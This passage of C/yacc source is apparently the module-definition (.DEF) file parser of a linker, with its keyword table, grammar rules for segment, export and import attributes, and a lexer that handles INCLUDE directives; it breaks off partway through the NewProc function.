LOCAL FTYPE fMixed;
LOCAL FTYPE fNoExeVer;
LOCAL FTYPE fHeapSize;
LOCAL BYTE *sbOldver; /* Old version of the .EXE */
LOCAL FTYPE vfAutodata;
LOCAL FTYPE vfShrattr;
LOCAL BYTE cDigits;
#if EXE386
LOCAL DWORD offmask; /* Seg flag bits to turn off */
LOCAL BYTE fUserVersion = 0;
LOCAL WORD expOtherFlags = 0;
LOCAL BYTE moduleEXE[] = "\007A:\\.exe";
LOCAL BYTE moduleDLL[] = "\007A:\\.dll";
#else
LOCAL WORD offmask; /* Seg flag bits to turn off */
#endif
#if OVERLAYS
LOCAL WORD iOvl = NOTIOVL; // Overlay assigned to functions
#endif
LOCAL char *szSegName; // Segment assigned to functions
LOCAL WORD nameFlags; /* Flags associated with exported name */
LOCAL BSTYPE includeDisp[MAX_NEST];
// Include file stack
LOCAL short curLevel; // Current include nesting level
// Zero means main .DEF file
LOCAL char *keywds[] = /* Keyword array */
{
"ALIAS", (char *) T_FALIAS,
"APPLOADER", (char *) T_APPLOADER,
"BASE", (char *) T_KBASE,
"CLASS", (char *) T_KCLASS,
"CODE", (char *) T_KCODE,
"CONFORMING", (char *) T_KCONFORM,
"CONSTANT", (char *) T_KCONSTANT,
"CONTIGUOUS", (char *) T_FCONTIG,
"DATA", (char *) T_KDATA,
"DESCRIPTION", (char *) T_KDESCRIPTION,
"DEV386", (char *) T_FDEV386,
"DEVICE", (char *) T_KDEVICE,
"DISCARDABLE", (char *) T_FDISCARDABLE,
"DOS", (char *) T_FDOS,
"DYNAMIC", (char *) T_FDYNAMIC,
"EXECUTE-ONLY", (char *) T_FEXEC,
"EXECUTEONLY", (char *) T_FEXEC,
"EXECUTEREAD", (char *) T_FEXECREAD,
"EXETYPE", (char *) T_KEXETYPE,
"EXPANDDOWN", (char *) T_KEXPANDDOWN,
"EXPORTS", (char *) T_KEXPORTS,
"FIXED", (char *) T_FFIXED,
"FUNCTIONS", (char *) T_FUNCTIONS,
"HEAPSIZE", (char *) T_KHEAPSIZE,
"HUGE", (char *) T_FHUGE,
"IMPORTS", (char *) T_KIMPORTS,
"IMPURE", (char *) T_FNONSHARED,
"INCLUDE", (char *) INCLUDE_DIR,
"INITGLOBAL", (char *) T_FINITGLOB,
"INITINSTANCE", (char *) T_FINITINST,
"INVALID", (char *) T_FINVALID,
"IOPL", (char *) T_FIOPL,
"LIBRARY", (char *) T_KLIBRARY,
"LOADONCALL", (char *) T_FLOADONCALL,
"LONGNAMES", (char *) T_FNEWFILES,
"MACINTOSH", (char *) T_FMACINTOSH,
"MAXVAL", (char *) T_KMAXVAL,
"MIXED1632", (char *) T_FMIXED,
"MOVABLE", (char *) T_FMOVABLE,
"MOVEABLE", (char *) T_FMOVABLE,
"MULTIPLE", (char *) T_FMULTIPLE,
"NAME", (char *) T_KNAME,
"NEWFILES", (char *) T_FNEWFILES,
"NODATA", (char *) T_KNODATA,
"NOEXPANDDOWN", (char *) T_KNOEXPANDDOWN,
"NOIOPL", (char *) T_FNOIOPL,
"NONAME", (char *) T_KNONAME,
"NONCONFORMING", (char *) T_KNONCONFORM,
"NONDISCARDABLE", (char *) T_FNONDISCARDABLE,
"NONE", (char *) T_FNONE,
"NONPERMANENT", (char *) T_FNONPERM,
"NONSHARED", (char *) T_FNONSHARED,
"NOTWINDOWCOMPAT", (char *) T_FNOTWINCOMPAT,
"NT", (char *) T_FNT,
"OBJECTS", (char *) T_KOBJECTS,
"OLD", (char *) T_KOLD,
"OS2", (char *) T_FOS2,
"OVERLAY", (char *) T_OVL,
"OVL", (char *) T_OVL,
"PERMANENT", (char *) T_FPERM,
"PHYSICAL", (char *) T_KPHYSICAL,
"POSIX", (char *) T_FPOSIX,
"PRELOAD", (char *) T_FPRELOAD,
"PRIVATE", (char *) T_FPRIVATE,
"PRIVATELIB", (char *) T_FPRIVATE,
"PROTMODE", (char *) T_PROTMODE,
"PURE", (char *) T_FSHARED,
"READONLY", (char *) T_FRDONLY,
"READWRITE", (char *) T_FRDWR,
"REALMODE", (char *) T_REALMODE,
"RESIDENT", (char *) T_FRESIDENT,
"RESIDENTNAME", (char *) T_KRESIDENTNAME,
"SECTIONS", (char *) T_KSECTIONS,
"SEGMENTS", (char *) T_KSEGMENTS,
"SHARED", (char *) T_FSHARED,
"SINGLE", (char *) T_FSINGLE,
"STACKSIZE", (char *) T_KSTACKSIZE,
"STUB", (char *) T_KSTUB,
"SUBSYSTEM", (char *) T_KSUBSYSTEM,
"SWAPPABLE", (char *) T_FSWAPPABLE,
"TERMINSTANCE", (char *) T_FTERMINST,
"UNIX", (char *) T_FUNIX,
"UNKNOWN", (char *) T_FUNKNOWN,
"VERSION", (char *) T_KVERSION,
"VIRTUAL", (char *) T_KVIRTUAL,
"WINDOWAPI", (char *) T_FWINAPI,
"WINDOWCOMPAT", (char *) T_FWINCOMPAT,
"WINDOWS", (char *) T_FWINDOWS,
"WINDOWSCHAR", (char *) T_FWINDOWSCHAR,
"WINDOWSNT", (char *) T_FWINDOWSNT,
NULL
};
%}
%union
{
#if EXE386
DWORD _wd;
#else
WORD _wd;
#endif
BYTE *_bp;
}
%type <_bp> T_ID
%type <_bp> T_STRING
%type <_bp> Idname
%type <_bp> Internal
%type <_bp> Class
%type <_wd> T_NUMBER
%type <_wd> Codeflaglist
%type <_wd> Codeflag
%type <_wd> Dataflaglist
%type <_wd> Dataflag
%type <_wd> Exportflags
%type <_wd> Exportopts
%type <_wd> Nodata
%type <_wd> Segflags
%type <_wd> Segflag
%type <_wd> Segflaglist
%type <_wd> Baseflag
%type <_wd> Dataonly
%type <_wd> Codeonly
%type <_wd> MajorVer
%type <_wd> MinorVer
%type <_wd> Overlay
%type <_wd> ImportFlags
%%
Definitions : Name Options
| Name
|
{
#if EXE386
DefaultModule(moduleEXE);
#else
DefaultModule();
#endif
}
Options
;
Name : T_KNAME Idname Apptype OtherFlags VirtBase
{
#if EXE386
NewModule($2, moduleEXE);
#else
NewModule($2);
#endif
}
| T_KNAME Apptype OtherFlags VirtBase
{
#if EXE386
DefaultModule(moduleEXE);
#else
DefaultModule();
#endif
}
| T_KLIBRARY Idname Libflags OtherFlags VirtBase
{
#if EXE386
SetDLL(vFlags);
NewModule($2, moduleDLL);
#else
vFlags = NENOTP | (vFlags & ~NEINST) | NESOLO;
dfData |= NSSHARED;
NewModule($2);
#endif
}
| T_KLIBRARY Libflags OtherFlags VirtBase
{
#if EXE386
SetDLL(vFlags);
DefaultModule(moduleDLL);
#else
vFlags = NENOTP | (vFlags & ~NEINST) | NESOLO;
dfData |= NSSHARED;
DefaultModule();
#endif
}
| T_KPHYSICAL T_KDEVICE Idname Libflags VirtBase
{
#if EXE386
SetDLL(vFlags);
NewModule($3, moduleDLL);
#endif
}
| T_KPHYSICAL T_KDEVICE Libflags VirtBase
{
#if EXE386
SetDLL(vFlags);
DefaultModule(moduleDLL);
#endif
}
| T_KVIRTUAL T_KDEVICE Idname Libflags VirtBase
{
#if EXE386
SetDLL(vFlags);
NewModule($3, moduleDLL);
#endif
}
| T_KVIRTUAL T_KDEVICE Libflags VirtBase
{
#if EXE386
SetDLL(vFlags);
DefaultModule(moduleDLL);
#endif
}
;
Libflags : T_FINITGLOB
{
#if EXE386
dllFlags &= ~E32_PROCINIT;
#else
vFlags &= ~NEPPLI;
#endif
}
| T_FPRIVATE
{
vFlags |= NEPRIVLIB;
}
| InstanceFlags
|
;
InstanceFlags : InstanceFlags InstanceFlag
| InstanceFlag
;
InstanceFlag : T_FINITINST
{
#if EXE386
SetINSTINIT(dllFlags);
#else
vFlags |= NEPPLI;
#endif
}
| T_FTERMINST
{
#if EXE386
SetINSTTERM(dllFlags);
#endif
}
;
VirtBase : T_KBASE T_EQ T_NUMBER
{
#if EXE386
virtBase = $3;
virtBase = RoundTo64k(virtBase);
#endif
}
|
{
}
;
Apptype : T_FWINAPI
{
#if EXE386
SetGUI(TargetSubsys);
#else
vFlags |= NEWINAPI;
#endif
}
| T_FWINCOMPAT
{
#if EXE386
SetGUICOMPAT(TargetSubsys);
#else
vFlags |= NEWINCOMPAT;
#endif
}
| T_FNOTWINCOMPAT
{
#if EXE386
SetNOTGUI(TargetSubsys);
#else
vFlags |= NENOTWINCOMPAT;
#endif
}
| T_FPRIVATE
{
vFlags |= NEPRIVLIB;
}
|
{
}
;
OtherFlags : T_FNEWFILES
{
#if NOT EXE386
vFlagsOthers |= NENEWFILES;
#endif
}
|
{
}
;
Options : Options Option
| Option
;
Option : T_KDESCRIPTION T_STRING
{
NewDescription($2);
}
| T_KOLD T_STRING
{
if(sbOldver == NULL) sbOldver = _strdup(bufg);
}
| T_KSTUB T_FNONE
{
if(rhteStub == RHTENIL) fStub = (FTYPE) FALSE;
}
| T_KSTUB T_STRING
{
if(fStub && rhteStub == RHTENIL)
{
PROPSYMLOOKUP($2,ATTRNIL, TRUE);
rhteStub = vrhte;
}
}
| T_KHEAPSIZE
{
fHeapSize = (FTYPE) TRUE;
}
SizeSpec
| T_KSTACKSIZE
{
fHeapSize = (FTYPE) FALSE;
}
SizeSpec
| T_PROTMODE
{
#if NOT EXE386
vFlags |= NEPROT;
#endif
}
| T_REALMODE
{
fRealMode = (FTYPE) TRUE;
vFlags &= ~NEPROT;
}
| T_APPLOADER Idname
{
#if NOT EXE386
AppLoader($2);
#endif
}
| Codeflags
| Dataflags
| Segments
| Exports
| Imports
| ExeType
| SubSystem
| ProcOrder
| UserVersion
;
SizeSpec : T_NUMBER T_COMA T_NUMBER
{
if (fHeapSize)
{
cbHeap = $1;
#if EXE386
cbHeapCommit = $3;
#endif
}
else
{
if(cbStack)
OutWarn(ER_stackdb, $1);
cbStack = $1;
#if EXE386
cbStackCommit = $3;
#endif
}
}
| T_NUMBER
{
if (fHeapSize)
{
cbHeap = $1;
#if EXE386
cbHeapCommit = cbHeap;
#endif
}
else
{
if(cbStack)
OutWarn(ER_stackdb, $1);
cbStack = $1;
#if EXE386
cbStackCommit = cbStack;
#endif
}
}
| T_KMAXVAL
{
if (fHeapSize)
fHeapMax = (FTYPE) TRUE;
}
;
Codeflags : T_KCODE Codeflaglist
{
// Set dfCode to specified flags; for any unspecified attributes
// use the defaults. Then reset offmask.
dfCode = $2 | (dfCode & ~offmask);
offmask = 0;
vfShrattr = (FTYPE) FALSE; /* Reset for DATA */
}
;
Codeflaglist : Codeflaglist Codeflag
{
$$ |= $2;
}
| Codeflag
;
Codeflag : Baseflag
| Codeonly
;
Codeonly : T_FEXEC
{
#if EXE386
$$ = OBJ_EXEC;
#else
$$ = NSEXRD;
#endif
}
| T_FEXECREAD
| T_FDISCARDABLE
{
#if EXE386
offmask |= OBJ_RESIDENT;
#else
$$ = NSDISCARD | NSMOVE;
#endif
}
| T_FNONDISCARDABLE
{
#if EXE386
#else
offmask |= NSDISCARD;
#endif
}
| T_KCONFORM
{
#if EXE386
#else
$$ = NSCONFORM;
#endif
}
| T_KNONCONFORM
{
#if EXE386
#else
offmask |= NSCONFORM;
#endif
}
;
Dataflags : T_KDATA Dataflaglist
{
// Set dfData to specified flags; for any unspecified
// attribute use the defaults. Then reset offmask.
#if EXE386
dfData = ($2 | (dfData & ~offmask));
#else
dfData = $2 | (dfData & ~offmask);
#endif
offmask = 0;
#if NOT EXE386
if (vfShrattr && !vfAutodata)
{
// If share-attribute and no autodata attribute, share-
// attribute controls autodata.
if ($2 & NSSHARED)
vFlags = (vFlags & ~NEINST) | NESOLO;
else
vFlags = (vFlags & ~NESOLO) | NEINST;
}
else if(!vfShrattr)
{
// Else if no share-attribute, autodata attribute
// controls share-attribute.
if (vFlags & NESOLO)
dfData |= NSSHARED;
else if(vFlags & NEINST)
dfData &= ~NSSHARED;
}
#endif
}
;
Dataflaglist : Dataflaglist Dataflag
{
$$ |= $2;
}
| Dataflag
;
Dataflag : Baseflag
| Dataonly
| T_FNONE
{
#if NOT EXE386
vFlags &= ~(NESOLO | NEINST);
#endif
}
| T_FSINGLE
{
#if NOT EXE386
vFlags = (vFlags & ~NEINST) | NESOLO;
#endif
vfAutodata = (FTYPE) TRUE;
}
| T_FMULTIPLE
{
#if NOT EXE386
vFlags = (vFlags & ~NESOLO) | NEINST;
#endif
vfAutodata = (FTYPE) TRUE;
}
| T_FDISCARDABLE
{
#if NOT EXE386
// This ONLY for compatibility with JDA IBM LINK
$$ = NSDISCARD | NSMOVE;
#endif
}
| T_FNONDISCARDABLE
{
#if NOT EXE386
// This ONLY for compatibility with JDA IBM LINK
offmask |= NSDISCARD;
#endif
}
;
Dataonly : T_FRDONLY
{
#if EXE386
$$ = OBJ_READ;
offmask |= OBJ_WRITE;
#else
$$ = NSEXRD;
#endif
}
| T_FRDWR
| T_KEXPANDDOWN
{
#if FALSE AND NOT EXE386
$$ = NSEXPDOWN;
#endif
}
| T_KNOEXPANDDOWN
{
#if FALSE AND NOT EXE386
offmask |= NSEXPDOWN;
#endif
}
;
Segments : T_KSEGMENTS Segattrlist
| T_KSEGMENTS
| T_KOBJECTS Segattrlist
| T_KOBJECTS
| T_KSECTIONS Segattrlist
| T_KSECTIONS
;
Segattrlist : Segattrlist Segattr
| Segattr
;
Segattr : Idname Class Overlay Segflags
{
NewSeg($1, $2, $3, $4);
}
;
Class : T_KCLASS T_STRING
{
$$ = _strdup($2);
}
|
{
$$ = _strdup("\004CODE");
}
;
Overlay : T_OVL T_COLON T_NUMBER
{
$$ = $3;
}
|
{
#if OVERLAYS
$$ = NOTIOVL;
#endif
}
;
Segflag : Baseflag
| Codeonly
| Dataonly
;
Segflaglist : Segflaglist Segflag
{
$$ |= $2;
}
| Segflag
;
Segflags : Segflaglist
{
$$ = $1;
}
|
{
$$ = 0;
}
;
Baseflag : T_FSHARED
{
#if EXE386
$$ = OBJ_SHARED;
#else
$$ = NSSHARED;
#endif
vfShrattr = (FTYPE) TRUE;
}
| T_FNONSHARED
{
vfShrattr = (FTYPE) TRUE;
#if EXE386
offmask |= OBJ_SHARED;
#else
offmask |= NSSHARED;
#endif
}
| T_FINVALID
{
#if EXE386
#endif
}
| T_FIOPL
{
#if EXE386
#else
$$ = (2 << SHIFTDPL) | NSMOVE;
offmask |= NSDPL;
#endif
}
| T_FNOIOPL
{
#if EXE386
#else
$$ = (3 << SHIFTDPL);
#endif
}
| T_FFIXED
{
#if NOT EXE386
offmask |= NSMOVE | NSDISCARD;
#endif
}
| T_FMOVABLE
{
#if NOT EXE386
$$ = NSMOVE;
#endif
}
| T_FPRELOAD
{
#if NOT EXE386
$$ = NSPRELOAD;
#endif
}
| T_FLOADONCALL
{
#if NOT EXE386
offmask |= NSPRELOAD;
#endif
}
| T_FHUGE
{
}
| T_FSWAPPABLE
{
}
| T_FRESIDENT
{
}
| T_FALIAS
{
}
| T_FMIXED
{
}
| T_FNONPERM
{
}
| T_FPERM
{
}
| T_FCONTIG
{
}
| T_FDYNAMIC
{
}
;
Exports : T_KEXPORTS Exportlist
| T_KEXPORTS
;
Exportlist : Exportlist Export
| Export
;
Export : Idname Internal Exportopts Exportflags ExportOtherFlags ScopeFlag
{
NewExport($1,$2,$3,$4);
}
;
Internal : T_EQ Idname
{
$$ = $2;
}
|
{
$$ = NULL;
}
;
Exportopts : T_AT T_NUMBER T_KRESIDENTNAME
{
$$ = $2;
nameFlags |= RES_NAME;
}
| T_AT T_NUMBER T_KNONAME
{
$$ = $2;
nameFlags |= NO_NAME;
}
| T_AT T_NUMBER
{
$$ = $2;
}
|
{
$$ = 0;
}
;
Exportflags : Nodata Parmwds
{
$$ = $1 | 1;
}
;
Nodata : T_KNODATA
{
/* return 0 */
}
|
{
$$ = 2;
}
;
Parmwds : T_NUMBER
{
}
|
{
}
;
ExportOtherFlags: T_KCONSTANT
{
#if EXE386
expOtherFlags |= 0x1;
#endif
}
|
{
}
;
ScopeFlag : T_FPRIVATE
|
;
Imports : T_KIMPORTS Importlist
| T_KIMPORTS
;
Importlist : Importlist Import
| Import
;
Import : Idname Internal T_DOT Idname ImportFlags
/*
* We'd like to have something like "Alias Idname T_DOT Idname" instead
* of using Internal, since Internal looks for =internal and we're
* looking for internal=. However, that would make this rule ambiguous
* with the next rule, and the 2nd would never be reduced. So we use
* Internal here as a kludge.
*/
{
if($2 != NULL)
{
#if EXE386
NewImport($4,0,$2,$1,$5);
#else
NewImport($4,0,$2,$1);
#endif
free($2);
}
else
#if EXE386
NewImport($4,0,$1,$4,$5);
#else
NewImport($4,0,$1,$4);
#endif
free($1);
free($4);
}
| Idname Internal T_DOT T_NUMBER ImportFlags
{
if ($2 == NULL)
Fatal(ER_dfimport);
#if EXE386
NewImport(NULL,$4,$2,$1,$5);
#else
NewImport(NULL,$4,$2,$1);
#endif
free($1);
free($2);
}
;
Idname : T_ID
{
$$ = _strdup(bufg);
}
| T_STRING
{
$$ = _strdup(bufg);
}
;
ImportFlags : T_KCONSTANT
{
$$ = 1;
}
|
{
$$ = 0;
}
;
ExeType : T_KEXETYPE
{
#if EXE386
fUserVersion = (FTYPE) FALSE;
#endif
}
ExeFlags ExeVersion
;
ExeFlags : T_FDOS
{
TargetOs = NE_DOS;
#if ODOS3EXE
fNewExe = FALSE;
#endif
}
| T_FOS2
{
TargetOs = NE_OS2;
}
| T_FUNKNOWN
{
TargetOs = NE_UNKNOWN;
}
| T_FWINDOWS
{
#if EXE386
TargetSubsys = E32_SSWINGUI;
#endif
TargetOs = NE_WINDOWS;// PROTMODE is default for WINDOWS
fRealMode = (FTYPE) FALSE;
#if NOT EXE386
vFlags |= NEPROT;
#endif
}
| T_FDEV386
{
TargetOs = NE_DEV386;
}
| T_FNT
{
#if EXE386
TargetSubsys = E32_SSWINGUI;
#endif
}
| T_FUNIX
{
#if EXE386
TargetSubsys = E32_SSPOSIXCHAR;
#endif
}
| T_FMACINTOSH T_FSWAPPABLE
{
#if O68K
iMacType = MAC_SWAP;
f68k = fTBigEndian = fNewExe = (FTYPE) TRUE;
/* If we are packing code to the default value, change the
default. */
if (fPackSet && packLim == LXIVK - 36)
packLim = LXIVK / 2;
#endif
}
| T_FMACINTOSH
{
#if O68K
iMacType = MAC_NOSWAP;
f68k = fTBigEndian = fNewExe = (FTYPE) TRUE;
/* If we are packing code to the default value, change the
default. */
if (fPackSet && packLim == LXIVK - 36)
packLim = LXIVK / 2;
#endif
}
;
ExeVersion : MajorVer T_DOT MinorVer
{
#if EXE386
if (fUserVersion)
{
UserMajorVer = (BYTE) $1;
UserMinorVer = (BYTE) $3;
}
else
#endif
{
ExeMajorVer = (BYTE) $1;
ExeMinorVer = (BYTE) $3;
}
}
| MajorVer
{
#if EXE386
if (fUserVersion)
{
UserMajorVer = (BYTE) $1;
UserMinorVer = 0;
}
else
#endif
{
ExeMajorVer = (BYTE) $1;
if(fNoExeVer)
ExeMinorVer = DEF_EXETYPE_WINDOWS_MINOR;
else
ExeMinorVer = 0;
}
}
;
MajorVer : T_NUMBER
{
$$ = $1;
}
|
{
$$ = ExeMajorVer;
fNoExeVer = TRUE;
}
;
MinorVer : T_NUMBER
{
if (cDigits >= 2)
$$ = $1;
else
$$ = 10 * $1;
}
|
{
$$ = ExeMinorVer;
}
;
UserVersion : T_KVERSION
{
#if EXE386
fUserVersion = (FTYPE) TRUE;
#endif
}
ExeVersion
;
SubSystem : T_KSUBSYSTEM SubSystemFlags
;
SubSystemFlags : T_FUNKNOWN
{
#if EXE386
TargetSubsys = E32_SSUNKNOWN;
#endif
}
| T_FWINDOWSNT
{
#if EXE386
TargetSubsys = E32_SSNATIVE;
#endif
}
| T_FOS2
{
#if EXE386
TargetSubsys = E32_SSOS2CHAR;
#endif
}
| T_FWINDOWS
{
#if EXE386
TargetSubsys = E32_SSWINGUI;
#endif
}
| T_FWINDOWSCHAR
{
#if EXE386
TargetSubsys = E32_SSWINCHAR;
#endif
}
| T_FPOSIX
{
#if EXE386
TargetSubsys = E32_SSPOSIXCHAR;
#endif
}
;
ProcOrder : T_FUNCTIONS
{
if (szSegName != NULL)
{
free(szSegName);
szSegName = NULL;
}
#if OVERLAYS
iOvl = NOTIOVL;
#endif
}
SegOrOvl ProcList
;
SegOrOvl : T_COLON NameOrNumber
|
;
NameOrNumber : Idname
{
if (szSegName == NULL)
szSegName = $1;
#if OVERLAYS
iOvl = NOTIOVL;
#endif
}
| T_NUMBER
{
#if OVERLAYS
iOvl = $1;
fOverlays = (FTYPE) TRUE;
fNewExe = FALSE;
TargetOs = NE_DOS;
#endif
}
;
ProcList : ProcList ProcName
| ProcName
;
ProcName : Idname
{
NewProc($1);
}
;
%%
LOCAL int NEAR GetChar(void)
{
int c; /* A character */
c = GetTxtChr(bsInput);
if ((c == EOF || c == CTRL_Z) && curLevel > 0)
{
free(bsInput->_base);
fclose(bsInput);
bsInput = includeDisp[curLevel];
curLevel--;
c = GetChar();
}
return(c);
}
LOCAL int NEAR lookup() /* Keyword lookup */
{
char **pcp; /* Pointer to character pointer */
int i; /* Comparison value */
for(pcp = keywds; *pcp != NULL; pcp += 2)
{ /* Look through keyword table */
/* If found, return token type */
if(!(i = _stricmp(&bufg[1],*pcp)))
{
YYS_WD(yylval) = 0;
return((int) (__int64) pcp[1]);
}
if(i < 0) break; /* Break if we've gone too far */
}
return(T_ID); /* Just your basic identifier */
}
LOCAL int NEAR yylex() /* Lexical analyzer */
{
int c; /* A character */
int StrBegChr; /* What kind of quotte found at the begin of string */
#if EXE386
DWORD x; /* Numeric token value */
#else
WORD x; /* Numeric token value */
#endif
int state; /* State variable */
BYTE *cp; /* Character pointer */
BYTE *sz; /* Zero-terminated string */
static int lastc = 0; /* Previous character */
char *fileBuf;
FTYPE fFileNameSave;
static int NameLineNo;
state = 0; /* Assume we're not in a comment */
c = '\0';
/* Loop to skip white space */
for(;;)
{
lastc = c;
if (((c = GetChar()) == EOF) || c == '\032' || c == '\377')
return(EOF); /* Get a character */
if (c == ';')
state = TRUE; /* If comment, set flag */
else if(c == '\n') /* If end of line */
{
state = FALSE; /* End of comment */
if(!curLevel)
++yylineno; /* Increment line number count */
}
else if (state == FALSE && c != ' ' && c != '\t' && c != '\r')
break; /* Break on non-white space */
}
/* Handle one-character tokens */
switch(c)
{
case '.': /* Name separator */
if (fFileNameExpected)
break;
return(T_DOT);
case '@': /* Ordinal specifier */
/*
* Require that whitespace precede '@' if introducing an
* ordinal, to allow '@' in identifiers.
*/
if (lastc == ' ' || lastc == '\t' || lastc == '\r')
return(T_AT);
break;
case '=': /* Name assignment */
return(T_EQ);
case ':':
return(T_COLON);
case ',':
return(T_COMA);
}
/* See if token is a number */
if (c >= '0' && c <= '9' && !fFileNameExpected)
{ /* If token is a number */
x = c - '0'; /* Get first digit */
c = GetChar(); /* Get next character */
if(x == 0) /* If octal or hex */
{
if(c == 'x' || c == 'X') /* If it is an 'x' */
{
state = 16; /* Base is hexadecimal */
c = GetChar(); /* Get next character */
}
else state = 8; /* Else octal */
cDigits = 0;
}
else
{
state = 10; /* Else decimal */
cDigits = 1;
}
for(;;)
{
if(c >= '0' && c <= '9' && c < (state + '0')) c -= '0';
else if(state == 16 && c >= 'A' && c <= 'F') c -= 'A' - 10;
else if(state == 16 && c >= 'a' && c <= 'f') c -= 'a' - 10;
else break;
cDigits++;
x = x*state + c;
c = (BYTE) GetChar();
}
ungetc(c,bsInput);
YYS_WD(yylval) = x;
return(T_NUMBER);
}
/* See if token is a string */
if (c == '\'' || c == '"') /* If token is a string */
{
StrBegChr = c;
sz = &bufg[1]; /* Initialize */
for(state = 0; state != 2;) /* State machine loop */
{
if ((c = GetChar()) == EOF)
return(EOF); /* Check for EOF */
if (sz >= &bufg[sizeof(bufg)])
Fatal(ER_dflinemax, sizeof(bufg));
switch(state) /* Transitions */
{
case 0: /* Inside quote */
if ((c == '\'' || c == '"') && c == StrBegChr)
state = 1; /* Change state if quote found */
else
*sz++ = (BYTE) c; /* Else save character */
break;
case 1: /* Inside quote with quote */
if ((c == '\'' || c == '"'))
{ /* If consecutive quotes */
*sz++ = (BYTE) c; /* Quote inside string */
state = 0; /* Back to state 0 */
}
else
state = 2; /* Else end of string */
break;
}
}
ungetc(c,bsInput); /* Put back last character */
*sz = '\0'; /* Null-terminate the string */
x = (WORD)(sz - &bufg[1]);
if (x >= SBLEN) /* Set length of string */
{
bufg[0] = 0xff;
bufg[0x100] = '\0';
OutWarn(ER_dfnamemax, &bufg[1]);
}
else
bufg[0] = (BYTE) x;
YYS_BP(yylval) = bufg; /* Save ptr. to identifier */
return(T_STRING); /* String found */
}
/* Assume we have identifier */
sz = &bufg[1]; /* Initialize */
if (fFileNameExpected && NameLineNo && NameLineNo != yylineno)
{
NameLineNo = 0; /* To avoid interference with INCLUDE */
fFileNameExpected = FALSE;
}
for(;;) /* Loop to get i.d.'s */
{
if (fFileNameExpected)
cp = " \t\r\n\f";
else
cp = " \t\r\n:.=';\032";
while (*cp && *cp != (BYTE) c)
++cp; /* Check for end of identifier */
if(*cp) break; /* Break if end of identifier found */
if (sz >= &bufg[sizeof(bufg)])
Fatal(ER_dflinemax, sizeof(bufg));
*sz++ = (BYTE) c; /* Save the character */
if ((c = GetChar()) == EOF)
break; /* Get next character */
}
ungetc(c,bsInput); /* Put character back */
*sz = '\0'; /* Null-terminate the string */
x = (WORD)(sz - &bufg[1]);
if (x >= SBLEN) /* Set length of string */
{
bufg[0] = 0xff;
bufg[0x100] = '\0';
OutWarn(ER_dfnamemax, &bufg[1]);
}
else
bufg[0] = (BYTE) x;
YYS_BP(yylval) = bufg; /* Save ptr. to identifier */
state = lookup();
if (state == T_KNAME || state == T_KLIBRARY)
{
fFileNameExpected = TRUE;
NameLineNo = yylineno;
}
if (state == INCLUDE_DIR)
{
// Process include directive
fFileNameSave = fFileNameExpected;
fFileNameExpected = (FTYPE) TRUE;
state = yylex();
fFileNameExpected = fFileNameSave;
if (state == T_ID || state == T_STRING)
{
if (curLevel < MAX_NEST - 1)
{
curLevel++;
includeDisp[curLevel] = bsInput;
// Because LINK uses customized version of stdio
// for every file we have not only open the file
// but also allocate i/o buffer.
bsInput = fopen(&bufg[1], RDBIN);
if (bsInput == NULL)
Fatal(ER_badinclopen, &bufg[1], strerror(errno));
fileBuf = GetMem(IO_BUF_SIZE);
#if OSMSDOS
setvbuf(bsInput, fileBuf, _IOFBF, IO_BUF_SIZE);
#endif
return(yylex());
}
else
Fatal(ER_toomanyincl);
}
else
Fatal(ER_badinclname);
}
else
return(state);
}
LOCAL void NEAR yyerror(str)
char *str;
{
Fatal(ER_dfsyntax, str);
}
#if NOT EXE386
/*** AppLoader - define aplication specific loader
*
* Purpose:
* Define application specific loader. Feature available only under
* Windows. Linker will create logical segment LOADER_<name> where
* <name> is specified in APPLOADER statement. The LOADER_<name>
* segment forms separate physical segment, which is placed by the linker
* as the first segment in the .EXE file. Whithin the loader segment,
* the linker will create an EXTDEF of the name <name>.
*
* Input:
* - sbName - pointer to lenght prefixed loader name
*
* Output:
* No explicit value is returned. As a side effect the SEGDEF and
* EXTDEF definitions are entered into linker symbol table.
*
* Exceptions:
* None.
*
* Notes:
* None.
*
*************************************************************************/
LOCAL void NEAR AppLoader(char *sbName)
{
APROPSNPTR apropSn;
APROPUNDEFPTR apropUndef;
SBTYPE segName;
WORD strLen;
// Create loader segment name
strcpy(&segName[1], "LOADER_");
strcat(&segName[1], &sbName[1]);
strLen = strlen(&segName[1]);
if (strLen >= SBLEN)
{
segName[0] = SBLEN - 1;
segName[SBLEN] = '\0';
OutWarn(ER_dfnamemax, &segName[1]);
}
else
segName[0] = (BYTE) strLen;
// Define loader logical segment and remember its GSN
apropSn = GenSeg(segName, "\004CODE", GRNIL, (FTYPE) TRUE);
gsnAppLoader = apropSn->as_gsn;
apropSn->as_flags = dfCode | NSMOVE | NSPRELOAD;
MARKVP();
// Define EXTDEF
apropUndef = (APROPUNDEFPTR ) PROPSYMLOOKUP(sbName, ATTRUND, TRUE);
vpropAppLoader = vrprop;
apropUndef->au_flags |= STRONGEXT;
apropUndef->au_len = -1L;
MARKVP();
free(sbName);
}
#endif
/*** NewProc - fill in the COMDAT descriptor for ordered procedure
*
* Purpose:
* Fill in the linkers symbol table COMDAT descriptor. This function
* is called for new descriptors generated by FUNCTIONS list in the .DEF
* file. All COMDAT descriptors entered by this function form one
* list linked via ac_order field. The head of this list is global
* variable procOrder;
*
* Input:
* szName - pointer to procedure name
* iOvl - overlay number - global variable
* szSegName - segment name - global variable
*
* Output:
* No explicit value is returned. As a side effect symbol table entry
* is updated.
*
* Exceptions:
* Procedure already known - warning
*
* Notes:
* None.
*
*************************************************************************/
LOCAL void NEAR NewProc(char *szName)
{
RBTYPE vrComdat; // Virtual pointer to COMDAT symbol table entry
APROPCOMDATPTR apropComdat; // Real pointer to COMDAT symbol table descriptor
static RBTYPE lastProc; // Last procedure on the list
APROPSNPTR apropSn;
apropComdat = (APROPCOMDATPTR ) PROPSYMLOOKUP(szName, ATTRCOMDAT, FALSE);
if ((apropComdat != NULL) && (apropComdat->ac_flags & ORDER_BIT))
OutWarn(ER_duporder, &szName[1]);
else
{
apropComdat = (APROPCOMDATPTR ) PROPSYMLOOKUP(szName, ATTRCOMDAT, TRUE);
vrComdat = vrprop;
// Fill in the COMDAT descriptor
apropComdat->ac_flags = ORDER_BIT;
#if OVERLAYS
apropComdat->ac_iOvl = iOvl;
// Set the maximum overlay index
if (iOvl != NOTIOVL)
{
fOverlays = (FTYPE) TRUE;
fNewExe = FALSE;
if (iOvl >= iovMac)
iovMac = iOvl + 1;
}
#endif
if (szSegName != NULL)
{
apropSn = GenSeg(szSegName, "\004CODE", GRNIL, (FTYPE) TRUE);
apropSn->as_flags = dfCode;
// Allocate COMDAT in the segment
apropComdat->ac_gsn = apropSn->as_gsn;
apropComdat->ac_selAlloc = PICK_FIRST | EXPLICIT;
